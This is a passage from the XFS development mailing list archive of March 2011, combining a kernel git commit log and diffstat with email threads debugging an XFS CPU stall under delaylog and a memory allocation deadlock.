interface xfs: introduce new logging API. xfs: zero proper structure size for geometry calls xfs: enable delaylog by default xfs: more sensible inode refcounting for ialloc xfs: stop using xfs_trans_iget in the RT allocator xfs: check if device support discard in xfs_ioc_trim() xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 ... commit a44f99c7efdb88fa41128065c9a9445c19894e34 Merge: b87a2d3e3147bd140da2eae584772c353d11421b 22942c00a6ad6e9e93b53811a6de72c821c15d22 Author: Linus Torvalds Date: Sun Mar 20 18:14:55 2011 -0700 Merge branch 'trivial' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild-2.6 * 'trivial' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild-2.6: (25 commits) video: change to new flag variable scsi: change to new flag variable rtc: change to new flag variable rapidio: change to new flag variable pps: change to new flag variable net: change to new flag variable misc: change to new flag variable message: change to new flag variable memstick: change to new flag variable isdn: change to new flag variable ieee802154: change to new flag variable ide: change to new flag variable hwmon: change to new flag variable dma: change to new flag variable char: change to new flag variable fs: change to new flag variable xtensa: change to new flag variable um: change to new flag variables s390: change to new flag variable mips: change to new flag variable ... Fix up trivial conflict in drivers/hwmon/Makefile commit 0ccd234ca04b09a156f8771af316ac9de2fa7312 Author: matt mooney Date: Fri Jan 14 06:12:35 2011 -0800 fs: change to new flag variable Replace EXTRA_CFLAGS with ccflags-y. And change ntfs-objs to ntfs-y for cleaner conditional inclusion. Signed-off-by: matt mooney Acked-by: WANG Cong Signed-off-by: Michal Marek commit 0f6e0e8448a16d8d22119ce91d8dd24b44865b51 Merge: 0d2ecee2bdb2a19d04bc5cefac0f86e790f1aad4 a002951c97ff8da49938c982a4c236bf2fafdc9f Author: Linus Torvalds Date: Wed Mar 16 09:15:43 2011 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6 * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6: (33 commits) AppArmor: kill unused macros in lsm.c AppArmor: cleanup generated files correctly KEYS: Add an iovec version of KEYCTL_INSTANTIATE KEYS: Add a new keyctl op to reject a key with a specified error code KEYS: Add a key type op to permit the key description to be vetted KEYS: Add an RCU payload dereference macro AppArmor: Cleanup make file to remove cruft and make it easier to read SELinux: implement the new sb_remount LSM hook LSM: Pass -o remount options to the LSM SELinux: Compute SID for the newly created socket SELinux: Socket retains creator role and MLS attribute SELinux: Auto-generate security_is_socket_class TOMOYO: Fix memory leak upon file open. Revert "selinux: simplify ioctl checking" selinux: drop unused packet flow permissions selinux: Fix packet forwarding checks on postrouting selinux: Fix wrong checks for selinux_policycap_netpeer selinux: Fix check for xfrm selinux context algorithm ima: remove unnecessary call to ima_must_measure IMA: remove IMA imbalance checking ... commit bd2895eeade5f11f3e5906283c630bbdb4b57454 Merge: 016aa2ed1cc9cf704cf76d8df07751b6daa9750f 24d51add7438f9696a7205927bf9de3c5c787a58 Author: Linus Torvalds Date: Wed Mar 16 08:20:19 2011 -0700 Merge branch 'for-2.6.39' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/wq * 'for-2.6.39' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/wq: workqueue: fix build failure introduced by s/freezeable/freezable/ workqueue: add system_freezeable_wq rds/ib: use system_wq instead of rds_ib_fmr_wq net/9p: replace p9_poll_task with a work net/9p: use system_wq instead of p9_mux_wq xfs: convert to alloc_workqueue() reiserfs: make commit_wq use the default concurrency level ocfs2: use system_wq instead of ocfs2_quota_wq ext4: convert to alloc_workqueue() scsi/scsi_tgt_lib: scsi_tgtd isn't used in memory reclaim path scsi/be2iscsi,qla2xxx: convert to alloc_workqueue() misc/iwmc3200top: use system_wq instead of dedicated workqueues i2o: use alloc_workqueue() instead of create_workqueue() acpi: kacpi*_wq don't need WQ_MEM_RECLAIM fs/aio: aio_wq isn't used in memory reclaim path input/tps6507x-ts: use system_wq instead of dedicated workqueue cpufreq: use system_wq instead of dedicated workqueues wireless/ipw2x00: use system_wq instead of dedicated workqueues arm/omap: use system_wq in mailbox workqueue: use WQ_MEM_RECLAIM instead of WQ_RESCUER commit 5fe0c2378884e68beb532f5890cc0e3539ac747b Author: Aneesh Kumar K.V Date: Sat Jan 29 18:43:25 2011 +0530 exportfs: Return the minimum required handle size The exportfs encode handle function should return the minimum required handle size. This helps user to find out the handle size by passing 0 handle size in the first step and then redoing to the call again with the returned handle size value. Acked-by: Serge Hallyn Signed-off-by: Aneesh Kumar K.V Signed-off-by: Al Viro commit 4c63f5646e405b5010cc9499419060bf2e838f5b Merge: cafb0bfca1a73efd6d8a4a6a6a716e6134b96c24 69d60eb96ae8a73cf9b79cf28051caf973006011 Author: Jens Axboe Date: Thu Mar 10 08:58:35 2011 +0100 Merge branch 'for-2.6.39/stack-plug' into for-2.6.39/core Conflicts: block/blk-core.c block/blk-flush.c drivers/md/raid1.c drivers/md/raid10.c drivers/md/raid5.c fs/nilfs2/btnode.c fs/nilfs2/mdt.c Signed-off-by: Jens Axboe commit 721a9602e6607417c6bc15b18e97a2f35266c690 Author: Jens Axboe Date: Wed Mar 9 11:56:30 2011 +0100 block: kill off REQ_UNPLUG With the plugging now being explicitly controlled by the submitter, callers need not pass down unplugging hints to the block layer. If they want to unplug, it's because they manually plugged on their own - in which case, they should just unplug at will. Signed-off-by: Jens Axboe commit 7eaceaccab5f40bbfda044629a6298616aeaed50 Author: Jens Axboe Date: Thu Mar 10 08:52:07 2011 +0100 block: remove per-queue plugging Code has been converted over to the new explicit on-stack plugging, and delay users have been converted to use the new API for that. So lets kill off the old plugging along with aops->sync_page(). Signed-off-by: Jens Axboe commit fe3fa43039d47ee4e22caf460b79b62a14937f79 Merge: ee009e4a0d4555ed522a631bae9896399674f064 026eb167ae77244458fa4b4b9fc171209c079ba7 Author: James Morris Date: Tue Mar 8 11:38:10 2011 +1100 Merge branch 'master' of git://git.infradead.org/users/eparis/selinux into next commit af24ee9ea8d532e16883251a6684dfa1be8eec29 Author: Alex Elder Date: Tue Mar 1 17:50:00 2011 +0000 xfs: zero proper structure size for geometry calls Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to xfs_fs_geometry() in order to avoid passing kernel stack data back to user space: + memset(geo, 0, sizeof(*geo)); Unfortunately, one of the callers of that function passes the address of a smaller data type, cast to fit the type that xfs_fs_geometry() requires. As a result, this can happen: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 Call Trace: [] ? panic+0x50/0x150 [] ? __stack_chk_fail+0x10/0x18 [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] Fix this by fixing that one caller to pass the right type and then copy out the subset it is interested in. Note: This patch is an alternative to one originally proposed by Eric Sandeen. Reported-by: Jeffrey Hundstad Signed-off-by: Alex Elder Reviewed-by: Eric Sandeen Tested-by: Jeffrey Hundstad commit be715140b5c3baf8ab6708060cfab80bef279d18 Author: Lukas Czerner Date: Tue Feb 15 17:07:36 2011 +0000 xfs: check if device support discard in xfs_ioc_trim() Right now we, are relying on the fact that when we attempt to actually do the discard, blkdev_issue_discar() returns -EOPNOTSUPP and the user is informed that the device does not support discard. However, in the case where the we do not hit any suitable free extent to trim in FITRIM code, it will finish without any error. This is very confusing, because it seems that FITRIM was successful even though the device does not actually supports discard. Solution: Check for the discard support before attempt to search for free extents. Signed-off-by: Lukas Czerner Signed-off-by: Alex Elder commit 3a3675b7f23f83ca8c67c9c2b6edf707fd28d1ba Author: Dan Rosenberg Date: Mon Feb 14 13:45:28 2011 +0000 xfs: prevent leaking uninitialized stack memory in FSGEOMETRY_V1 The FSGEOMETRY_V1 ioctl (and its compat equivalent) calls out to xfs_fs_geometry() with a version number of 3. This code path does not fill in the logsunit member of the passed xfs_fsop_geom_t, leading to the leaking of four bytes of uninitialized stack data to potentially unprivileged callers. v2 switches to memset() to avoid future issues if structure members change, on suggestion of Dave Chinner. Signed-off-by: Dan Rosenberg Reviewed-by: Eugene Teo Signed-off-by: Alex Elder commit 43d133c18b44e7d82d82ef0dcc2bddd55d5dfe81 Merge: 4149efb22da66e326fc48baf80d628834509f7f0 6f576d57f1fa0d6026b495d8746d56d949989161 Author: Tejun Heo Date: Mon Feb 21 09:43:56 2011 +0100 Merge branch 'master' into for-2.6.39 commit 2a7dba391e5628ad665ce84ef9a6648da541ebab Author: Eric Paris Date: Tue Feb 1 11:05:39 2011 -0500 fs/vfs/security: pass last path component to LSM on inode creation SELinux would like to implement a new labeling behavior of newly created inodes. We currently label new inodes based on the parent and the creating process. This new behavior would also take into account the name of the new object when deciding the new label. This is not the (supposed) full path, just the last component of the path. This is very useful because creating /etc/shadow is different than creating /etc/passwd but the kernel hooks are unable to differentiate these operations. We currently require that userspace realize it is doing some difficult operation like that and than userspace jumps through SELinux hoops to get things set up correctly. This patch does not implement new behavior, that is obviously contained in a seperate SELinux patch, but it does pass the needed name down to the correct LSM hook. If no such name exists it is fine to pass NULL. Signed-off-by: Eric Paris commit 83e759043abe9d0291f58f2427ba12bbb0a6e4f1 Author: Tejun Heo Date: Tue Feb 1 11:42:43 2011 +0100 xfs: convert to alloc_workqueue() Convert from create[_singlethread]_workqueue() to alloc_workqueue(). * xfsdatad_workqueue and xfsconvertd_workqueue are identity converted. Using higher concurrency limit might be useful but given the complexity of workqueue usage in xfs, proceeding cautiously seems better. * xfs_mru_reap_wq is converted to non-ordered workqueue with max concurrency of 1 as the work items don't require any specific ordering and already have proper synchronization. It seems it was singlethreaded to save worker threads, which is no longer a concern. Signed-off-by: Tejun Heo Cc: Alex Elder Cc: xfs-masters@oss.sgi.com Cc: Christoph Hellwig ----------------------------------------------------------------------- Summary of changes: fs/xfs/Makefile | 13 +- fs/xfs/linux-2.6/kmem.c | 9 +- fs/xfs/linux-2.6/xfs_aops.c | 10 +- fs/xfs/linux-2.6/xfs_buf.c | 386 +++++++------------------- fs/xfs/linux-2.6/xfs_buf.h | 47 +--- fs/xfs/linux-2.6/xfs_discard.c | 193 +++++++++++++ fs/xfs/linux-2.6/xfs_discard.h | 8 + fs/xfs/linux-2.6/xfs_export.c | 4 +- fs/xfs/linux-2.6/xfs_file.c | 591 +++++++++++++++++++++++++--------------- fs/xfs/linux-2.6/xfs_ioctl.c | 38 +++- fs/xfs/linux-2.6/xfs_iops.c | 63 +---- fs/xfs/linux-2.6/xfs_linux.h | 23 ++- fs/xfs/linux-2.6/xfs_message.c | 133 +++++++++ fs/xfs/linux-2.6/xfs_message.h | 38 +++ fs/xfs/linux-2.6/xfs_super.c | 173 ++++++------ fs/xfs/linux-2.6/xfs_sync.c | 46 +++- fs/xfs/linux-2.6/xfs_sysctl.c | 25 ++- fs/xfs/linux-2.6/xfs_trace.h | 33 +++ fs/xfs/quota/xfs_dquot.c | 48 ++-- fs/xfs/quota/xfs_dquot_item.c | 5 +- fs/xfs/quota/xfs_qm.c | 95 +++---- fs/xfs/quota/xfs_qm_bhv.c | 3 +- fs/xfs/quota/xfs_qm_syscalls.c | 85 +++--- fs/xfs/quota/xfs_trans_dquot.c | 5 +- fs/xfs/support/debug.c | 115 -------- fs/xfs/support/debug.h | 54 ---- fs/xfs/xfs_alloc.c | 168 ++++++------ fs/xfs/xfs_alloc.h | 41 +++- fs/xfs/xfs_bmap.c | 85 ++++-- fs/xfs/xfs_buf_item.c | 172 ++++-------- fs/xfs/xfs_da_btree.c | 9 +- fs/xfs/xfs_dfrag.c | 4 +- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_node.c | 25 +- fs/xfs/xfs_error.c | 53 +--- fs/xfs/xfs_error.h | 29 +-- fs/xfs/xfs_extfree_item.c | 3 +- fs/xfs/xfs_fsops.c | 19 +- fs/xfs/xfs_fsops.h | 2 +- fs/xfs/xfs_ialloc.c | 82 +++---- fs/xfs/xfs_inode.c | 131 ++++----- fs/xfs/xfs_inode.h | 23 +- fs/xfs/xfs_inode_item.c | 6 +- fs/xfs/xfs_iomap.c | 19 +- fs/xfs/xfs_log.c | 124 ++++----- fs/xfs/xfs_log.h | 2 +- fs/xfs/xfs_log_cil.c | 15 +- fs/xfs/xfs_log_priv.h | 4 - fs/xfs/xfs_log_recover.c | 223 ++++++++-------- fs/xfs/xfs_mount.c | 148 +++++----- fs/xfs/xfs_mru_cache.c | 2 +- fs/xfs/xfs_quota.h | 3 +- fs/xfs/xfs_rtalloc.c | 92 +++---- fs/xfs/xfs_rtalloc.h | 2 +- fs/xfs/xfs_rw.c | 58 ++--- fs/xfs/xfs_trans.c | 43 ++- fs/xfs/xfs_trans.h | 2 - fs/xfs/xfs_trans_ail.c | 2 +- fs/xfs/xfs_trans_buf.c | 9 +- fs/xfs/xfs_trans_inode.c | 22 -- fs/xfs/xfs_vnodeops.c | 77 ++---- fs/xfs/xfs_vnodeops.h | 1 + 62 files changed, 2001 insertions(+), 1944 deletions(-) create mode 100644 fs/xfs/linux-2.6/xfs_discard.c create mode 100644 fs/xfs/linux-2.6/xfs_discard.h create mode 100644 fs/xfs/linux-2.6/xfs_message.c create mode 100644 fs/xfs/linux-2.6/xfs_message.h delete mode 100644 fs/xfs/support/debug.c delete mode 100644 fs/xfs/support/debug.h hooks/post-receive -- XFS development tree From david@fromorbit.com Mon Mar 28 15:47:19 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_43 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SKlJuL184662 for ; Mon, 28 Mar 2011 15:47:19 -0500 X-ASG-Debug-ID: 1301345427-262a03ca0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D7B98383BF3 for ; Mon, 28 Mar 2011 13:50:27 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id NMaUmGSP9gPLX1T3 for ; Mon, 28 Mar 2011 13:50:27 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjkEACnzkE15LK5JgWdsb2JhbAClQRUBARYmJcUkDYVcBJJ1 Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 29 Mar 2011 07:20:25 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4JOK-0002Lz-5y; Tue, 29 Mar 2011 07:50:24 +1100 Date: Tue, 29 Mar 2011 07:50:24 +1100 From: Dave Chinner To: Justin Piszcz Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Subject: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Message-ID: <20110328205024.GB3008@dastard> References: <20110327232543.GU26611@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301345428 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 28, 2011 at 04:10:11AM -0400, Justin Piszcz wrote: > > > On Mon, 28 Mar 2011, Dave Chinner wrote: > > >On Sat, Mar 26, 2011 at 09:29:36AM -0400, Justin Piszcz wrote: > >>Hi, > >> > >>When I rm -rf a directory of a few hundred thousand > >>files/directories on XFS under 2.6.38.1, I see the following, is > >>this normal? > > > >No. What is you filesystem config (xfs_info) and your mount options? > >Is it repeatable? I? the system otherwise stalled or is it still > >operating normally? Does it recover and work normally after such a > >stall? > > Hi Dave, default mkfs.xfs options: > > >What is you filesystem config (xfs_info) and your mount options? > > # xfs_info /dev/sda1 > meta-data=/dev/sda1 isize=256 agcount=44, agsize=268435455 blks > = sectsz=512 attr=2 > data = bsize=4096 blocks=11718704640, imaxpct=5 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=521728, version=2 > = sectsz=512 sunit=0 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 A 44TB filesystem with a 2GB log, right? > /dev/sda1 on /r1 type xfs (rw,noatime,nobarrier,logbufs=8,logbsize=262144,delaylog,inode64) > > >Is it repeatable? > I've not tried to repeat it as is spews messages over all of my consoles but > it has happened more than once. OK. > >the system otherwise stalled or is it still operating normally? > The console/xterm/ssh etc that is performing the removal does lockup but > you are able to access the machine via a separate ssh connection. > > >Does it recover and work normally after such a stall? > Yes, eventually, I believe I started seeing this problem when I added > 'delaylog' option to the mount options.. OK, that is what I suspected. What it sounds like is that there is a checkpoint completing with an out-of-order log sequence number so the items in the checkpoint are not being inserted at the end of the AIL and that is where the CPU usage is coming from. Without delaylog, a single transaction being inserted out-of-order is unnoticeable as it's only a few items. A delaylog checkpoint can be tens of thousands of items which is where the CPU usage would come from. I'll have to reproduce this locally to confirm this theory (and test the fix). Cheers, Dave. -- Dave Chinner david@fromorbit.com From jpiszcz@lucidpixels.com Mon Mar 28 15:51:01 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_43 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SKp0eR184810 for ; Mon, 28 Mar 2011 15:51:01 -0500 X-ASG-Debug-ID: 1301345649-40ae034d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 574F81D50608 for ; Mon, 28 Mar 2011 13:54:09 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with SMTP id TyFpTV6JkotTpFRB for ; Mon, 28 Mar 2011 13:54:09 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 9368C121129; Mon, 28 Mar 2011 16:54:09 -0400 (EDT) Date: Mon, 28 Mar 2011 16:54:09 -0400 (EDT) From: Justin Piszcz To: Dave Chinner cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Subject: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice In-Reply-To: <20110328205024.GB3008@dastard> Message-ID: References: <20110327232543.GU26611@dastard> <20110328205024.GB3008@dastard> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1301345650 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 29 Mar 2011, Dave Chinner wrote: > On Mon, Mar 28, 2011 at 04:10:11AM -0400, Justin Piszcz wrote: >> >> >> On Mon, 28 Mar 2011, Dave Chinner wrote: >> >>> On Sat, Mar 26, 2011 at 09:29:36AM -0400, Justin Piszcz wrote: >>>> Hi, >>>> >>>> When I rm -rf a directory of a few hundred thousand >>>> files/directories on XFS under 2.6.38.1, I see the following, is >>>> this normal? >>> >>> No. What is you filesystem config (xfs_info) and your mount options? >>> Is it repeatable? I? the system otherwise stalled or is it still >>> operating normally? Does it recover and work normally after such a >>> stall? >> >> Hi Dave, default mkfs.xfs options: >> >>> What is you filesystem config (xfs_info) and your mount options? >> >> # xfs_info /dev/sda1 >> meta-data=/dev/sda1 isize=256 agcount=44, agsize=268435455 blks >> = sectsz=512 attr=2 >> data = bsize=4096 blocks=11718704640, imaxpct=5 >> = sunit=0 swidth=0 blks >> naming =version 2 bsize=4096 ascii-ci=0 >> log =internal bsize=4096 blocks=521728, version=2 >> = sectsz=512 sunit=0 blks, lazy-count=1 >> realtime =none extsz=4096 blocks=0, rtextents=0 > > A 44TB filesystem with a 2GB log, right? A 44TB system yes, 2GB log (default). > >> /dev/sda1 on /r1 type xfs (rw,noatime,nobarrier,logbufs=8,logbsize=262144,delaylog,inode64) >> >>> Is it repeatable? >> I've not tried to repeat it as is spews messages over all of my consoles but >> it has happened more than once. > > OK. > >>> the system otherwise stalled or is it still operating normally? >> The console/xterm/ssh etc that is performing the removal does lockup but >> you are able to access the machine via a separate ssh connection. >> >>> Does it recover and work normally after such a stall? >> Yes, eventually, I believe I started seeing this problem when I added >> 'delaylog' option to the mount options.. > > OK, that is what I suspected. > > What it sounds like is that there is a checkpoint completing with an > out-of-order log sequence number so the items in the checkpoint are > not being inserted at the end of the AIL and that is where the CPU > usage is coming from. Without delaylog, a single transaction being > inserted out-of-order is unnoticeable as it's only a few items. A > delaylog checkpoint can be tens of thousands of items which is where > the CPU usage would come from. > > I'll have to reproduce this locally to confirm this theory (and test > the fix). Ok, thanks! Justin. From walken@google.com Mon Mar 28 16:03:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SL3L1Z185289 for ; Mon, 28 Mar 2011 16:03:21 -0500 X-ASG-Debug-ID: 1301346390-4f0302cf0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-out.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A9FB11D50720 for ; Mon, 28 Mar 2011 14:06:31 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [216.239.44.51]) by cuda.sgi.com with ESMTP id KG1mvA6Ii18WNpxA for ; Mon, 28 Mar 2011 14:06:31 -0700 (PDT) Received: from hpaq11.eem.corp.google.com (hpaq11.eem.corp.google.com [172.25.149.11]) by smtp-out.google.com with ESMTP id p2SL6R3A030507 for ; Mon, 28 Mar 2011 14:06:28 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1301346390; bh=ZwcolnCg0Iq2X/oJkskHmdfT01E=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=uL7G/6LpbzKModKMmNKgS6slaklev+jxt4fMr3KKIG0nIabwrzO+ekjS60DgtthOD d35MVHGfisbBehdfEyOOQ== Received: from qyk10 (qyk10.prod.google.com [10.241.83.138]) by hpaq11.eem.corp.google.com with ESMTP id p2SL5l5g011505 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Mon, 28 Mar 2011 14:06:26 -0700 Received: by qyk10 with SMTP id 10so3242204qyk.18 for ; Mon, 28 Mar 2011 14:06:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=0/Q7wDcoRHgbZEQB481EhlvI9PFGkic+nMI4+lm1Xl4=; b=JdJ0FnESh+xa9cKjXIHjUhCzvMZ1RQETvIX3d5VkP2E7R3IEumsiNAwgWlYth9bfpS TxSbvGm4PJHOMt76QFDg== DomainKey-Signature: a=rsa-sha1; c=nofws; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=g3LOY+fBNG6gKjdXp/pQ+rJtQswJ2rrHRIRi0MzGXKAa3cRN16DZrqJuR/XpviFQOD kjMZ+aEToCofmab2Iy6Q== MIME-Version: 1.0 Received: by 10.229.101.36 with SMTP id a36mr3839133qco.74.1301346386055; Mon, 28 Mar 2011 14:06:26 -0700 (PDT) Received: by 10.229.5.83 with HTTP; Mon, 28 Mar 2011 14:06:25 -0700 (PDT) In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> Date: Mon, 28 Mar 2011 14:06:25 -0700 Message-ID: X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 From: Michel Lespinasse To: Sean Noonan Cc: Christoph Hellwig , "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , "linux-mm@kvack.org" Content-Type: text/plain; charset=ISO-8859-1 X-System-Of-Record: true X-Barracuda-Connect: smtp-out.google.com[216.239.44.51] X-Barracuda-Start-Time: 1301346391 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0007 1.0000 -2.0165 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 28, 2011 at 7:58 AM, Sean Noonan wrote: >> Regarding the deadlock: I am curious to see if it could be made to >> happen before 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272. Could you test >> what happens if you remove the MAP_POPULATE flag from your mmap call, >> and instead read all pages from userspace right after the mmap ? I >> expect you would then be able to trigger the deadlock before >> 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272. > > I still see the deadlock without MAP_POPULATE Could you test if you see the deadlock before 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 without MAP_POPULATE ? -- Michel "Walken" Lespinasse A program is never fully debugged until the last user dies. From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 16:06:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SL66Z1185405 for ; Mon, 28 Mar 2011 16:06:06 -0500 X-ASG-Debug-ID: 1301346555-3d4f03be0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1067F1DEB003 for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 3q9GSW3VDscPmUtD for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4JgZ-0001tI-Dr for xfs@oss.sgi.com; Mon, 28 Mar 2011 21:09:15 +0000 Message-Id: <20110328210915.396135841@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Mon, 28 Mar 2011 17:06:19 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 5/5] xfs: update busy extent tracing Subject: [PATCH 5/5] xfs: update busy extent tracing References: <20110328210614.832613417@bombadil.infradead.org> Content-Disposition: inline; 